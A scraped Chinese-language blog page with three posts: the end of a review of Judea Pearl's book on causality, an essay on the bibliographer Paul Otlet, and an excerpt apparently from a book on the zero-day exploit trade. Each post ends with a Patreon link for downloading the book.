嗯，即使在这里也有一些注意事项。真正的金本位是一个双盲实验，在这个实验中，无论是被试者还是实验者都不知道谁在哪一组。在汽车颜色的情况下，我们将从字面意义上不得不蒙住司机的眼睛，这当然会大大增加事故率。但可以先搁置这个问题。

RCT的关键在于，通过将成员分配到两组，而不是让他们自我选择，实验人员相对于控制了其他解释。正如 Pearl 所说的那样，在这样的随机设计中，人们会"抹去"实验变量值的开源箭头，在这种情况下是"红车"或"非红车"。当然，并不是说把一个受试者安排到两组中的某一组，从字面上看是完全随机的：例如，它可能是由一个骰子的投掷或随机数发生器的输出值决定的。也就是说，决定这个位置的特定的原因组合不会有任何其他合理的显著效果。

Pearl 的方法通过他所说的"做算子"来认识这种情况。"做x"表示使x成为情况的干预，而不是仅仅观察到x是情况。如果您只是睁开眼睛

看着从我身边流过的车流，您就可以记录下谁开的是红车，谁不是。但是“做红车”就需要您自己（或其他随机化的设备）让一个人开红车成为个案。这恰恰是一个单纯的观察性研究（观察但不干预）和RCT的区别。(书中有足够的技术细节来介绍这一原理)。

Pearl 并不反对RCT的证据价值。但它们成本高、难度大，有时还不道德。比如吸烟导致人类癌症的最好证据来自于一个实验，即 把一大群婴儿随机分为两组，强迫其中一组每天吸两包烟，阻止另一组吸烟。但这样的实验显然在道德上是不允许的。

Pearl 的主要贡献之一是发展了“Do calculus”。他和他的学生及合作者所证明的是，如果一开始就有一个准确的情境因果结构的图形模型 —— 箭头显示哪些变量可能是其他变量的原因 —— 那么在某些情况下，人们就可以把“Do”的说法简化为仅仅是观察性的说法。也就是说，适当的被动观察数据可以提供与RCT相同的证据；当然，前提是初始的因果模型是准确的。RCT的优势在于它提供了其因果关系的证据，而不需要任何初始的因果假说。Do calculus 的优势在于，它可以在不需要干预的情况下，提供同样有力的因果假说检验。

这本书的最后一部分进入了更多的哲学领域。Pearl 将从单纯观察相关性到检验Do主张的过渡描述为从因果关系阶梯的第一层上升到第二层。区别在于，仅仅注意到数据中的相关性和得出关于因果结构的结论之间的区别。但是 —— 现在情况变得相当曲折 —— **Pearl** 坚持认为，还有一个更高的目的地：第三阶段，涉及到对反事实的推理。

反事实是指如果世界在某种程度上不是现在这样，会发生什么的说法。例如，可以考虑这样的说法：“如果奥斯瓦尔德没有向肯尼迪开枪，其他人就会开枪”。这句话理所当然地认为奥斯瓦尔德确实射杀了肯尼迪，并提出了如果他不这样做，事情会如何发展的说法。我们可能没有理由认为这个反事实是真实的，但很容易想象出会是这样的情况。例如，如果有第二个刺客藏在草丘里，他的任务是在奥斯瓦尔德失败的情况下充当后备。

在某种意义上，反事实是关于虚构的世界或未实现的可能性，因为它们的前因后果是与事实相反的：它们是关于可能发生但没有发生的事。所以从表面上看，它们似乎超出了正常科学探究的范围和范畴。毕竟，没有一个望远镜足够强大，可以揭示可能发生的事。事实上，人们很容易陷入反事实完全超出科学范围的观点。正如物理学家艾雪·佩雷斯曾经说过的那样，未进行的实验是没有结果的。那么，在 Pearl 的书中，他们在做什么呢？

答案是，Pearl 似乎认为它们充满了哲学意义：在他的讲述中，对反事实的考虑比对因果说法的考虑在认知上要高一等。他认为，许多非人类动物都可以进行因果性思考，但也许只有人类和一些少数非常高级的其他动物才能进行反事实的考虑。登上第三阶梯，就像吃了知识之树的果实一样，使人类与其他动物王国区别开来。他在书的最后几章专门讨论了反事实以及我们可以相信它们的理由。

但是，这种把因果关系和反事实推理割裂开的做法是一个错误。反事实与因果说紧密地纠缠在一起，不可能只考虑因果而不考虑反事实。这个事实常常被哲学家们忽视或忽略，所以看到 Pearl 落入同样的陷阱也就不足为奇了。

想象一下，你正抱着一盏珍贵易碎的蒂芙尼灯战在坚硬的石头地板上。一只苍蝇在你的头顶附近嗡嗡地飞来飞去，让你很烦躁，你希望嗡嗡声停止。你应该怎么做呢？好吧，你可以腾出手来以便拍苍蝇。但作为一个因果推理者，你可以预见到这样做的结果是什么：你可能会杀死苍蝇，但灯会掉到地上摔碎。所以你最终还是没有放下灯。但既然接受了灯掉落和灯碎裂之间的因果关系，假设你事实上没有摔了那盏灯，那么你就会任性地致力于反事实“如果我不顾及灯，它就会碎掉”。所以，你不可能在没处理好第三阶段的情况下也能到达第二阶段。

由于没有领会到因果说和反事实说之间的这些联系，使得这本书后面的章节比前面的章节更加模糊。Pearl 在坚实的基础上讨论因果关系，却试图让他的梯子有更多的阶梯。这种同样的不精确性和对哲学文献的不熟悉也弥漫在他在书的最后对自由意志的讨论中。

这本书这些方面提出了哲学在 Pearl 的事业中、以及更广泛的科学中的作用的有趣问题。哲学家读这本书会发现有很多值得欣慰的地方。Pearl 曾阅读并欣赏过哲学上关于因果关系和反事实的诸多著名讨论。书中引用了大卫·休谟和大卫·刘易斯、汉斯·赖申巴赫等哲学家的观点。与科学家们通常对哲学表现出的不屑相比，Pearl 的态度是一盏希望的灯塔。

但这本书也是一个警示性的故事。标准的统计学训练曾裁定 Pearl 完全避免因果关系的谈论，而仅仅是相关性。他不得不逆流而上，既要恢复1920年代 Sewall Wright 关于“线性路径分析”的工作，又要推动这些观点的发展。

这本书对因果分析的现状进行了精彩的概述。它有力地论证了发展关于世界的有充分支持的因果假说既重要又困难。困难，是因为无论数

据集有多大，因果结论都不会仅仅从观察到的统计规律中流露出来。相反，我们必须利用我们所有的线索和想象力创造出可信的因果模型，然后分析这些模型，看看它们是否以及如何能够被数据检验。仅仅计算更多的数字并不是通往因果洞察力的王道。

但为什么要关心原因呢？其中一个原因是纯粹的科学好奇心：我们想了解这个世界，其中一部分是需要弄清楚它隐藏的因果结构。但同样重要的是，我们并不仅仅是世界的被动观察者：我们也是代理人。我们想知道如何有效地干预世界，以防止灾难并促进福祉。仅有良好的意愿是不够的，还需要深入了解自然界的资源和力量是如何相互联系的。因此，归根结底，如果我们要了解如何采取成功的行动，就必须弄清这个世界的原因。〇

在这里下载这本书：https://www.patreon.com/posts/zhe-ge-shi-jie-48239418

The Why of the World

原文

这个世界需要更多“失败者”的传记 - iyouport

免费书和纪录片

这个在一百二十多年前发明了现代互联网雏形的人，他最重要的愿景并不是技术本身，而是政治和和平，而这恰恰是现代互联网最讨厌的东西

我们应该有更多的失败者的传记，那些被世界忽视的人，他们在很久以前的他们的时代就准确预测到了现在我们的时代的出现，然而他们的伟大工作被各种外力的挫折所埋没。

传记的意义在于树立榜样，教人们如何做自己想做的事。这可能是一些宏伟的事，比如过上好日子，也可能是一些比较平凡的事，比如管理一家小公司。不管是什么，这种类型的作品都存在着选择偏差——只有所谓的“成功者”才会有传记。

但不可能每个人都是成功者，如果这就是人们的主要标准的话，我们就不会从传记中学到那么多东西。在《编目世界》这本书中，有很多迷人的信息，这是亚历克斯·赖特（Alex Wright）撰写的关于保罗·奥特莱特（Paul Otlet）的故事和“信息时代的诞生”，但其中最有趣的是奥特莱特如何一再被世界所辜负。

奥特莱特是个天才。在接受了不同寻常的教育后（11岁之前一直在家教育，因为他的父亲认为学校很闷，后来去读了耶稣会学校），奥特莱特做了很多有趣的人年轻时都会做的事。他犯了一个错误，就是去了法学院。像奥特尔特这样不情愿的年轻律师从他们的职业生涯中得到的真正好处就是无聊。他们的思想在游移。

他热衷于目录学，即 信息的整理，他设计了一套基于信息块整理和编目的系统。书籍将思想禁锢在作者任意强加的结构中。奥特莱特想把思想分解成块，让任何人都可以检索—— 他在思考如何建立一个模拟版的互联网。请注意，那是在**1892**年。

奥特莱特和他的朋友 Henri La Fontaine，一位律师同行，开始创建一个通用书目。这将是一个事实上的储存库，储存在索引卡上，利用分类系统对思想进行搜索。

奥特莱特和 La Fontaine 会花上几个小时翻阅书商目录、出版的书目和其他资料，将每个条目剪成纸条，并将内容粘贴在索引卡上，然后给索引卡分配一个分类号—— 最初是基于杜威十进制系统—— 并储存在抽屉里。

到1895年底，他们已经有了40多万个条目。在这个阶段，工作开始显得杂乱无章，因此他们投资购买了一台打字机。奥特莱特

那些专业的图书馆员和目录学家嘲笑他们的工作。奥特莱特和 La Fontaine 的梦想是跨学科的普遍性，他们的工作是对和平、合作和普遍性的更大政治信念的一部分。奥特莱特是国际联盟的早期和热心支持者，人们对他的思想的反对总是部分地出于政治原因。

尽管有反对的声音，但奥特莱特的工作仍在继续发展。他开发了一个复杂的替代杜威十进制系统（全世界图书馆的主要编目系统），并成立了国际书目研究所（IIB）。第一次世界大战打断了他的进展。入侵比利时是可怕的。在奥特莱特上学的小镇鲁汶，德国人把煤油倒在大学图书馆的30万册书和手稿上，然后烧掉，其中包括大量无价的中世纪手稿收藏。

然后，奥特莱特的儿子被杀了。此时，奥特莱特已年过四旬，国际书目研究所(IIB)在苦苦支撑，他的万能系统被人嘲笑或忽视，他的儿子死了，他的国家也成了一片废墟。

幸运的是，IIB在战争中幸存了下来，新任总理支持它的扩张。1921年，奥特莱特开设了世界宫（Palais Mondial），每天有2000名游客。

一进门，迎接游客的是一个代表世界和平的大球体，以及受弗朗西斯·巴肯启发的描绘生命进化的岁月之树。然后，游客可以继续参观三十六个房间的展览，每个房间都专门用于一个特定的国家。还有专门针对特定学术学科—— 数学、化学和古生物学等—— 的展览，以及完全针对新技术的房间，如一个庞大的电报室，后来还有一个大房间，里面摆放着最新的微缩胶片阅读器。

这座新博物馆还提供研究服务。任何人都可以通过信件或电报发出请求，只要交纳27法郎，奥特莱特的工作人员就会用通用书目表回答他

们的问题。该书目不断增加，在高峰期，它包含了大约1500万个项目。世界宫每年处理1,500项请求。最古老的“谷歌”，没有算法暴政，用手工回答问题

奥特莱特的宏伟梦想是让他的组织得到国际联盟的承认和支持，并建立与国际联盟类似的地位。但事与愿违。他们的建议被轻描淡写地拒绝了，一位秘书代表秘书长说：“你的智力组织计划让我觉得还是有点太超前”。

和平、合作和世界主义的梦想将进一步受到影响。1923年，政府让他离开世界宫—— 当时国王利奥波德二世正在管理一个帝国政府， 在非洲犯下暴行—— 而这个空间将被用来举办一个橡胶博览会。当然，橡胶是比利时帝国对刚果进行剥削的主要产品之一。奥特莱特的和平项目被驱逐出去，为帝国主义的残酷行为腾出空间，这真是一个恶劣的讽刺。

奥特莱特试图阻止这种情况的发生，但失败了。1924年，当有人来搬走博物馆里的东西时，奥特莱特用文件柜堵住了门。这些人还是冲进了大楼。

奥特莱特私下继续创作他的收藏品，并继续发表新的想法。

但最终纳粹来到比利时，他一生的作品都被没收了。六十三吨的资料被销毁。奥特莱特为他的作品找到的新空间被让给了第三帝国的艺术展览。对于一个想以进步与和平的名义来策划所有人类知识的人来说，这是一个可怕的结局。

尽管经历了种种磨难，但奥特莱特是个有远见的人，他谈到了一个“每个人都将成为自己的编辑” 的时代，谈到了书籍与其他形式的知识（如图像）的融合，谈到了一个通过综合索引可以访问的广泛存放文件的网络。他希望将技术的好处带入博物馆。他还预言了人类感知的记录，比如声音，并创造了 “超文档化” 这个词。奥特莱特所设想的“全球网络” 的草图（图片来源：比利时世俗档案馆）

简而言之，他的想法听起来很像互联网的雏形。然而，对于最终创造了互联网和万维网的人来说，他的名字是闻所未闻的，是不为人知的。

奥特莱特更倾向于对知识进行大规模、系统化、集中化的分类，而互联网则是建立在算法分配、扁平化的等级制度和新兴秩序的基础之上。

然而，奥特莱特是个“失败者”。

那么，我们可以从中吸取什么教训呢？

做对了并不总是有用的。如果没有技术、态度和运气的正确组合，想法并不容易实现。工作才是最重要的，而不是结果。也许那些用一车车的书信装满自己房子的怪人并不那么疯狂。

那些拼命避免制造政治麻烦的人、依靠公关的人，保持自己在正确的时间出现在正确的地方的人，他们更可能是“成功人士”，而挑战现状的人经常会遭受各种失败。

禁止愤世嫉俗，或者像丘吉尔说的那样，“不要让那些混蛋把你磨垮”。继续工作。哲学和道德信仰对你做什么工作和如何做工作很重要。不要太务实，否则你最终只会成为一个循规蹈矩的人。传统的学校教育并不总是对你的孩子最好的方法。不要担心自己不同寻常的想象力，相反，用一切方法去激发并维持想象力。并找到一切机会去实现自己的梦想。

不论您最终成功还是失败，写下您的传记很重要。〇

在这里下载这本书：https://www.patreon.com/posts/zhe-ge-shi-jie-50106943

Maria Popova 撰写过一篇关于奥特莱特的文章，介绍了他的更多观点以及与现代互联网之间的联系。

原文

这就是他们给我讲述世界末日的方式 - iyouport

免费书和纪录片公私监控伙伴关系关于高堡奇人

Bugs是永远也修补不完的。因为它是政治，而不仅仅是技术问题

【注】曾经在 “枪杆子” 里的政权，现在在代码中 。

它可能是本世纪最强大的政治武器。这是一场阴暗的地下军备竞赛，它可以毁灭任何人，不论是盟友还是政敌；它可以卖给任何人，只要你给足了钞票。

在这里没有什么意识形态，一切都是关于金钱和权力。全世界的政府都在秘密地这样做，包括你认为最善良和最民主的政府；但这里最大的玩家、一掷千金的顶级买主，只有那几个政府：美国、中国、以色列、俄罗斯…… 其中美国压倒其他所有国家。

那些知道如何使用这种武器的人像巨人一样站在这个地球上。

政治是使他人屈服于你的意愿的斗争。战争是政治通过其他手段的延伸。在网络领域，政治和战争进入了新的篇章，至今仍在撰写 ……

这本书是经过七年多的采访调查的产物，采访了300多名参与、跟踪或直接受到地下网络武器行业影响的个人。这些人包括黑客、活动家、持不同政见者、学者、计算机科学家、美国和外国政府官员、取证调查员和雇佣军。相关文件被认为是机密的，或者在许多情况下通过保密协议享有特权。由于主题的敏感性，书中接受采访的许多人只有在匿名的情况下才同意说话。

本文是这本新书的摘录。您可以在这里下载这本书：https://www.patreon.com/posts/zhe-jiu-shi-ta-49093748

他们告诉我，要想从零日市场的根源上找到答案是一件很愚蠢的事。当涉及到零日—代码中的秘密漏洞时，政府并不是监管者，他们是客

户，这些漏洞构成了政府监视政敌的间谍工具和网络武器的原材料。他们没有任何动力去向我这样的记者透露一个高度机密的项目，其中涉及高度机密的商品。

“你会撞上很多墙的”，当时的国防部长莱昂·帕内塔警告我说。而迈克尔·海登，最臭名昭著的前国家安全局局长，当我告诉他我要做什么时，他直接笑了。他说：“祝你好运”，同时还拍了拍我的背。

那一年，2013年，关于我开展调查的消息传得很快。零日漏洞交易商，那些处理漏洞和利用漏洞的人，为我准备了防虫喷雾—— 我被拒绝参加黑客会议；有一次，有人在暗网上向任何能入侵我的电子邮件或手机的人提供数额诱人的奖金。但我已经瞥见了足够多的东西，我知道我必须继续下去。

这个世界最大的财富正在飞速发展，它就是数据。访问这些系统和数据的最可靠的方式是就零日漏洞。零日漏洞已经成为美国间谍活动和战争计划的一个重要组成部分。斯诺登泄露的信息表明，美国是这个领域最大的玩家，但我知道，它不是唯一的一个。各种压迫性的政权正在紧跟其后，一个市场正在出现，以满足他们的需求。数字世界到处都有弱点，其中许多是我们自己造成的，而强大的权势 —— 包括我们自己的政府—— 正在确保这种情况持续下去。许多人不希望这些事被人知道。

我花了好几年的时间才从这个市场早期的日子里找到一个愿意说话的零日漏洞经纪人。许多人从未回应。有些人直接挂断了电话。有一个人告诉我，他不仅不会和我谈论零日市场，而且他已经警告过所有他认识的人不要跟我说话。他警告我说，如果我继续在这条线上走下去，我只会让自己陷入 “危险”。

大多数人只是担心他们的底线。在他们的工作中，守口如瓶是必不可少的。每笔交易都需要慎重，而且大多数交易都被包裹在保密协议中，而且越来越多的是高级机密。最有利可图的经纪人都把他们的零日业务—— 也就是有业务的事实当作秘密。越是谨慎的经纪人就越招政府客户的喜欢 。零日经纪人最快速的破产之路就是和媒体说话。至今都是如此。

这绝不是一个偏执狂的问题。这些经纪人在与记者谈论零日市场的危险性方面有一个案例：一个南非著名的漏洞利用经纪人，总部设在曼谷，叫做 “Grugq”。Grugq 就是控制不住自己。与大多数零日经纪商避开任何可能留下数字痕迹的平台不同，Grugq 直接在Twitter上存在，他有超过10万名粉丝。2012年，他犯了一个致命的错误，公开

与记者讨论他的业务。他后来告诉我，他是在不经意间说的，但他也很乐意在一大袋现金旁边摆出一张照片。当安迪·格林伯格对此的报道出现在《福布斯》杂志上时，**Grugq** 成了不受欢迎的人 —— 各国政府都不愿再向他购买漏洞了。

没有任何经纪人会学他这样，没有人会甘愿为了透明度放弃自己的财富和声誉。所以我用我知道的唯一方式报道这个市场，从公开的东西抓起，从那里开始调查工作 —— 直到我找到一个零日漏洞交易商，他可以转述这个行业不为人知的历史。

每一个市场都是从赌注开始的。我了解到，零日市场—— 或者说至少是它的公众形象—— 是从10美元开始的。

2002年夏天，约翰·P·沃特斯（John P. Watters）以10美元的价格收购了位于弗吉尼亚州尚蒂利（Chantilly）的网络安全公司 iDefense。Watters，一个对网络安全几乎一无所知的德克萨斯人，认为这对一家每月损失一百万美元的公司来说是一个合理的价格，而且没有明显的回本计划。员工已经好几周没有领到工资了。纳斯达克指数将在下个月达到最低点。再过两年，一半的网络公司将消失。连其员工都不认为 iDefense 有任何机会。

该公司向大银行和一些政府机构的客户出售“威胁情报”。通常，这意味着软件中的缺陷，可以用来入侵那些客户的网络并最终窃取他们的数据。但 iDefense 提供的东西很少是独一无二的，原始信息经常可以在 BugTraq 等黑客论坛上免费获得，黑客们在那里不分昼夜地倾销和交易他们发现的漏洞。而现在，该公司很有可能也会失去获取这些信息的机会。

就在 Watters 走进 iDefense 总部的同一天，赛门铁克以7500万美元的价格挖走了 SecurityFocus，也就是运营 BugTraq 的公司。iDefense 将永远无法与赛门铁克的雄厚财力竞争。而如果赛门铁克关闭了对 BugTraq 的访问，iDefense 就完蛋了。

iDefense 研究实验室里的两名年轻黑客为 Watters 提供了孤注一掷。大卫·恩德勒（**David Endler**）早年在美国国家安全局工作过；Sunil James 刚从大学毕业几年。两个人都是修补匠，他们知道世界上有一个未被开发的黑客库金矿，他们一天到晚的所有时间都在发现漏洞。

多年来，这些黑客一直没有好的选择。当他们发现甲骨文软件或 Sun Microsystems 的漏洞时，并没有一个1–800电话可以拨打。当他们找到公司的工程师报告编码错误时，黑客们往往被忽视。如果他们接到

任何回电，经常是律师打来的，警告他们不要再打探他们的产品。这也无济于事，因为代码，而不是外交，才是他们的强项。而即使公司确实修复了问题，这些修复也往往包含了他们自己的明显错误。这些黑客提供的是免费的质量保证，而他们往往会因此受到惩罚。

Endler 和 James 有一天向 Watters 转述了这种动态。每天都有漏洞被引入代码中。黑帽黑客正在利用这些漏洞来谋取利益，进行间谍活动和制造数字混乱。那些想做正确事的白帽们正在失去向供应商报告的动力。那些公司更愿意用诉讼来威胁黑客，而不是修复产品中的漏洞。在这种准滥用的安排中，不可避免地，失败者是 iDefense 的客户。银行和机构依赖于脆弱的软件，他们的系统很容易受到攻击。

“如果我们开始一个项目呢？” Endler向 Watters 提议，“我们可以付钱给黑客，让他们把漏洞交出来”。iDefense 仍然可以把这些漏洞交给技术公司打补丁，但在有补丁之前，iDefense 可以为客户提供保护自己的变通办法。iDefense 将为其客户提供一些具体而独特的东西。它不会只是另一个嘈杂的feed。这将使 Watters 有理由提高费用并实现盈利。

任何其他CEO可能都会拒绝这种提议。但正是网络安全业务中的狂野西部元素，让Watters一开始就选择了 iDefense。于是，在**2003**年，**iDefense** 成为第一批公开向黑客敞开大门并为他们的漏洞付费的公司之一。

起初，James 和 Endler 不知道自己在做什么。据他们所知，没有市场，没有竞争项目。他们拟定了一个古怪的小价目表，这个漏洞75美元，那个漏洞500美元。在前18个月提交的上千个漏洞中，有一半是垃圾。他们考虑将黑客拒之门外，但他们知道他们需要建立信任，这样黑客才会带着更大更好的收获回来找他们。

这招果然奏效了。土耳其、新西兰和阿根廷的黑客，甚至堪萨斯州的13岁少年，都开始交出漏洞，揭示了攻击者如何通过杀毒软件钻进 iDefense 客户的系统，或者拦截密码，窃取用户与网络浏览器之间的数据。

随着2003年这个项目受到关注，Watters 开始接到电话。大多数都是来自大型科技公司的，他们对他邀请并支付黑客来探测他们的产品感到愤怒。但在2003年末和2004年，他开始接到新类型的电话。对方声称为 **Watters** 从未听说过的政府承包商工作，对方问他是否会考虑从供应商和客户那里扣留一些黑客提交的漏洞，以换取更高的利润。

那个 iDefense 最多支付1万美元买来的bug？这些打电话的人开出了15万美元的价格，只要 **iDefense** 不向任何人—— 包括它的客户，也包括软件厂商—— 提供线索。这些漏洞会被用在间谍工具和网络武器中，用来对付政敌，而且没有人会知道它们的存在。

这些打电话的人愿意花这么多钱买漏洞，这让 Watters 大吃一惊。

当 Watters 拒绝后，打电话的承包商们就把话题转向了爱国主义。老一套的 “为国效力” 的宣传方式。声称这些bugs “可以让政府监视恐怖组织、俄罗斯间谍嫌疑人、以及双重间谍的巴基斯坦情报官员”。

Watters 是一个爱国者，但他也首先是一个商人。“那会害死我们的”，他告诉我，“如果你和政府合谋，在客户使用的核心技术上挖洞，你本质上就是在和客户作对”。

那些来电者最终被回复了这个拒绝信息。但 **Watters** 可以看到风向的转变。黑客们开始要求六位数的**bugs**，而仅仅一年前他们只要几千美元。

他们暗示了其他选择。

像 Digital Armaments 这样的神秘组织开始在网上出现，为甲骨文、微软和VMWare产品中的零日漏洞提供五位数的高额赏金。除了一个在东京注册的简陋的网站外，还不清楚这些bugs的客户会是谁。他们声称征集所谓的 “独家代理权”，只说计划 “最终” 通知科技公司。

很快，iDefense 就被它帮助催生的市场淘汰了。Watters 终于读懂了局势。2005年7月，他以4000万美元的价格将自己花10美元买下的公司卖给了威瑞信。是时候让市场发挥它的作用了。

【注：威瑞信是美国一家专注于多种网络基础服务的上市公司，位于弗吉尼亚州赖斯顿。该公司将他们的业务统称为“智能基础设施服务”。】

“这本来是一门巨大的生意”，零日市场的一位首批经纪人在咬着他的墨西哥卷饼的间隙告诉我。终于，在2015年秋天—— 经过了两年的不断尝试，一位零日漏洞交易商终于违背自己的判断，同意与我面对面地坐下来。

那年10月，我飞到杜勒斯去见一个人，我得叫他吉米·萨比恩。萨比恩已经退出零日市场多年，但考虑到他还在为当年的政府机构工作，他只愿意和我说话，条件是我不使用他的真名。是萨比恩第一次向

Watters 开出了15万美元的价格，买下了一个 iDefense 花了不到一千块钱买下的bug。“你做梦都想不到比这更好的利润了”，他告诉我。

10年后，他仍然对 Watters 当年的轻视摇头。

在他帮助开创零日漏洞业务之前，萨比恩在军队中工作，保护世界各地的军用计算机网络，他看起来很适合扮演这个角色。高个子，宽肩膀，头发剪得又高又紧，有军人的黑色幽默感。

我们安排在鲍尔斯顿的一家墨西哥餐厅见面，离他以前的几个客户只有几英里远，在那里他转述了一个很少有人知道的市场的历史。

20世纪90年代末，萨比恩被招募到三家顶级政府承包商中的一家，这三家承包商首次代表美国情报机构开始进行零日漏洞交易。当时这些交易还没有被列为机密，这意味着他和我谈话并没有违反任何法律。即便如此，他还是坚持让我隐去他的真名。

萨比恩告诉我，为军方保护网络的工作，让他对技术的缺陷有了深刻的认识。在军队中，安全通信意味着生与死的区别，但大的技术公司似乎并没有把握住这一点。“人们显然是为了功能而设计这些系统，而不是为了安全。他们并没有考虑如何操纵它们”。

操纵计算机系统几乎是萨比恩离开军队后的全部想法，他加入了一家顶级承包商，在那里他管理着一个25人的团队，为美国政府开发入侵工具。萨比恩了解到，如果没有办法部署这些工具，他的团队所建立的黑客工具就毫无用处。可靠地访问目标的计算机系统是至关重要的。

“你可以成为世界上最好的珠宝窃贼，但除非你知道如何绕过宝格丽商店的警报系统，否则它不会让你去任何地方”，他告诉我，“通道是王道。”

萨比恩的团队贩卖数字访问权限，寻找漏洞，并为客户编写代码以利用它们。大部分收入 —— 超过80%—— 都来自五角大楼和情报机构，其余的来自执法部门。他们的目标是向这些机构提供秘密的、经过测试的入侵方法，进入对手使用的每一个系统。

他们的一些工作是机会主义的。如果他们在像微软Wins这样广泛使用的产品中发现了一个bug，他们就会开发一个漏洞利用，并将其卖给尽可能多的政府机构。但他们的大部分工作都是有针对性的：政府机构会来找萨比恩的团队，寻找监控比如俄罗斯驻基辅大使馆或巴基斯

坦驻贾拉拉巴德领事馆的方法。萨比恩的团队必须进行侦查，破译目标使用的电脑以及运行的操作环境。然后再想办法进去。

总会有办法的。只要人类负责编写代码，设计、构建和配置机器，萨比恩的团队就知道会有bug。找到这些bug只是战役的一半;另一半是编写和磨练漏洞利用代码，为政府机构提供一个可靠的、干净的入口。

萨比恩的客户不只是想要一个入侵的方法。他们想要一种不被察觉的网络穿行方式，一种植入隐形后门的方式，即使在他们的漏洞被发现后，他们也能继续存在，以及将对手的数据拉回他们的命令和控制服务器而不触发警报的方式。

“他们想要的是整个杀戮链 —— 一种进入的方式，一种向他们的指挥控制服务器发出信标的方式，一种渗出能力，一种混淆能力”，他说，使用军事语言，“当你想到特种部队和海豹突击队六队的时候，这很有意义。他们有狙击手、扫荡手、排查专家，还有专门负责破门而入的人。”

神圣的一石三鸟是一连串的零日漏洞和植入物，提供可靠性、隐形性和持久性。你很少能做到这三点，但只要你做到了，“咔嚓！”萨比恩说。

当我请他讨论具体的开发时，他回忆起一些故事，就像其他人在回忆自己的初恋时的感情那样。他最喜欢的是视频存储卡中的一个顽固的零日漏洞。存储卡运行在计算机的固件上，使得这个漏洞几乎不可能被发现，也更难被根除。即使有人将自己的机器完全格式化，这个漏洞也会卡在那里。唯一能让受害人摆脱被间谍的方法就是把电脑扔进垃圾箱。

“那个漏洞是最棒的”，萨比恩回忆道，眼睛里闪烁着光芒。

萨比恩告诉我，间谍们在闯入一台机器后，首先要做的就是监听其他间谍的声音。如果他们发现有证据表明被感染的机器正在向另一个指挥控制中心发出信号，他们就会把别人抓到的东西搜刮出来。

萨比恩说，发现多个间谍在同一台机器上监听并不奇怪，尤其是在高调的外交官、军火商或恐怖网络的情况下。萨比恩告诉我，惠普打印机中有一个零日漏洞，多年来被“全世界的政府机构”所利用。这个漏洞让间谍可以捕获任何通过打印机的文件，并在IT管理员最不会怀疑的地方给入侵者搞一个滩头堡。萨比恩说，惠普公司修补打印机漏

洞的那天，“我只记得自己在想，‘很多人今天过得很糟糕’”。

希望获得自己的零日武器库的政府机构的短名单从未有缺席者。美国国家安全局拥有情报界最庞大、最聪明的网络战大军，在早期，该机构并不需要太多的外部帮助。但在上世纪90年代中期，当大众开始使用网络和电子邮件，分享自己的日常生活、人际关系、内心想法和最深层的秘密的细微记录时，越来越多的间谍机构担心自己没有准备好利用互联网的快速应用。1995年末，中情局的一个特别工作小组认定，该机构的准备严重不足。其他机构的情况也是如此，他们甚至更落后。越来越多的人开始寻求获得这些能力的途径。

肯尼亚内罗毕和坦桑尼亚达累斯萨拉姆的美国大使馆几乎同时被炸，这只会刺激政府对更多情报、更多数据和数字入侵工具的需求。积累零日漏洞成为一项竞争性的事业。

与此同时，国会在整个90年代都在削减军费开支，继续批准模糊的“网络安全”预算，却没有掌握这些钱是如何投入进攻还是防御的。

政策制定者对网络冲突的思考，正如美国战略司令部前指挥官詹姆斯·埃利斯所说的那样，“就像格兰德河一样，一英里宽，一英寸深”。但在每个机构内部，官员们都了解到，最好的零日漏洞能获得最好的情报，这反过来又能转化为更大的网络预算。

而萨比恩就在这一切的中心位置。

他的团队无法快速制造出零日漏洞。不同的机构想要进入同一系统的方法，从底线的角度来看是好的，但是，从美国纳税人的角度来看就不是那么回事了。他的公司把同样的零日漏洞卖了两、三、四次。重叠和浪费是在1998年的爆炸事件和然后的9/11事件之后加剧。随着国防和情报开支在接下来的五年里膨胀了**50%**以上，五角大楼和情报界几乎是一窝蜂地涌向了专门从事数字间谍活动的 **Beltway** 承包商。

【注：首都圈内（Inside the Beltway）指用于表示部分团体、个人利益比美国普通民众利益更优先。这些团体、个人包括美国联邦政府官员及其承包商、游说者，以及报道这些事件的企业媒体。】

但是，漏洞和漏洞的发现和开发利用需要时间，萨比恩得出结论，将寻找漏洞的工作外包给黑客是对他们时间的更有效利用。不论如何他们都会编写代码来利用这些漏洞，那为什么不挖掘黑客为他们提供原材料呢？

“我们知道我们不可能找到所有的人，但我们也知道进入门槛很低”，萨比恩回忆说，“任何人只要有2000美元买一台戴尔，就可以加入游戏了”。

于是在90年代末，萨比恩的团队开始接触黑客，美国的地下零日市场就这样诞生了—— 同样的一个市场最终也会消耗掉 iDefense，以及我们其他人。

萨比恩早期的故事就像间谍小说一样，充满了斗篷和匕首的会议，装满现金的袋子和阴暗的中间人—— 只是在这种情况下，没有任何一个细节是文学的或想象的。这一切都已经被证实了。

在**90**年代，政府机构会向像萨比恩这样的承包商支付大约**100**万美元的费用，以获得一组**10**个零日漏洞利用。萨比恩的团队会将其中一半的预算用于购买bug，然后自己开发成漏洞利用。一个像 Windows 这样被广泛使用的系统中的一个像样的bug可能会卖到5万美元；一个关键对手使用的不知名系统中的bug可能会卖到两倍的价格。一个允许政府间谍深入敌手系统而不被察觉，并停留一段时间的bug呢？很容易卖到15万美元。

萨比恩的团队避免了理想主义者和抱怨者。而且因为这个市场没有规则，他们的供应商大部分都是东欧的黑客。

“随着苏联的解体，有很多有技能的人没有工作”，萨比恩解释说。在欧洲，黑客们，有些年仅**15**、**16**岁的黑客，把他们的发现卖给零日交易商，这些交易商会把他们的发现直接卖给政府机构和他们的经纪人。萨比恩告诉我，一些最有天赋的黑客在以色列，是以色列**8200**部队的老兵。其中最优秀的是一个**16**岁的以色列孩子。

【注：8200部队相当于美国的国安局，臭名昭著的NSO就是8200部队退伍兵组建的，它现在在前世界追捕甚至杀害异议人士和活动家。】

这是一个秘密的业务和令人震惊的错综复杂的头脑。萨比恩的团队不能直接打电话给黑客，要求他们通过电子邮件发送他们的漏洞，并给他们邮寄回一张支票。漏洞和漏洞利用必须在多个系统中仔细测试。有时，黑客可以通过视频来实现这一点。但大多数交易都是面对面的，通常是在黑客大会的酒店房间里进行。

萨比恩的团队越来越多地依赖这些模糊的中间人。他说，多年来，他的雇主派遣一名以色列中间人，用行李袋塞满了50万美元的现金，从

波兰和东欧各地的黑客手中购买零日bug。

